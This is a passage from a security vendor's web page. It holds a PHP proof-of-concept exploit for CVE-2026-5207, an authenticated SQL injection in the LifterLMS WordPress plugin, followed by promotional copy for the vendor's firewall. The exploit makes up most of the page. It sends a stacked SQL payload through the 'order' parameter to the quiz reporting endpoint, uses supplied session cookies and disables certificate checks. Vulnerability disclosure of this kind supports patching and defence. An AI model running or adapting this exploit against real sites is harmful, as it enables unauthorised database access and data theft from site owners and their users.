// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5207 - LifterLMS <= 9.2.1 - Authenticated (Custom+) SQL Injection via 'order' Parameter

<?php

/**
 * Proof of Concept for CVE-2026-5207
 * Requires valid WordPress authentication cookies and Instructor-level access
 */

$target_url = 'https://vulnerable-site.com';
$wordpress_cookies = 'wordpress_logged_in_xxx=...'; // Replace with valid session cookies

// SQL injection payload to extract database version
$sql_payload = "ASC; SELECT @@version--";

// Build the request to quiz attempts reporting endpoint
$endpoint = $target_url . '/wp-admin/admin.php?page=llms-reporting&tab=quizzes&quiz_id=1';
$post_data = array(
    'action' => 'llms_quiz_attempts_table',
    'order' => $sql_payload,
    'orderby' => 'id',
    'page' => '1',
    'per_page' => '25'
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Cookie: ' . $wordpress_cookies,
    'Content-Type: application/x-www-form-urlencoded',
    'X-Requested-With: XMLHttpRequest'
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "Request successful. Check database logs for SQL injection results.n";
    echo "Response length: " . strlen($response) . " bytesn";
    
    // The injection may not return visible results in the response
    // but will execute in the database backend
    if (strpos($response, 'SQL syntax') !== false || strpos($response, 'error') !== false) {
        echo "Possible SQL error detected in response.n";
    }
} else {
    echo "Request failed with HTTP code: " . $http_code . "n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School